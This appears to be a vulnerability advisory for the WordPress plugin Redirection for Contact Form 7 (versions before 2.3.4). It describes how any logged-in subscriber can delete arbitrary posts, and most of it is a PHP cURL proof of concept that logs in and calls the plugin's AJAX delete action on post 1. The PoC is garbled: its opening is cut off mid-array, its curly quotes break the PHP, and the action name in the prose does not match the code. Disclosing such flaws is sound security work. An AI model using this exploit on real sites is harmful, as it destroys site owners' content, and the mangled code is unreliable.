Redirection for Contact Form 7 < 2.3.4 - Authenticated Arbitrary Post Deletion

In the plugin, any authenticated user, such as a subscriber, could use the delete_action_post AJAX action to delete any post on a target site.

PoC

$wp_user, ‘pwd’ => $wp_pass, ‘rememberme’ => ‘forever’, ‘wp-submit’ => ‘Log+In’, ]); $output = curl_exec($ch); curl_close($ch); // Set redirect url $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url . ‘/wp-admin/admin-ajax.php’); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ ‘action’ => ‘wpcf7r_delete_action’, ‘data[0][post_id]’ => ‘1’ ]); $output = curl_exec($ch); curl_close($ch); print_r($output);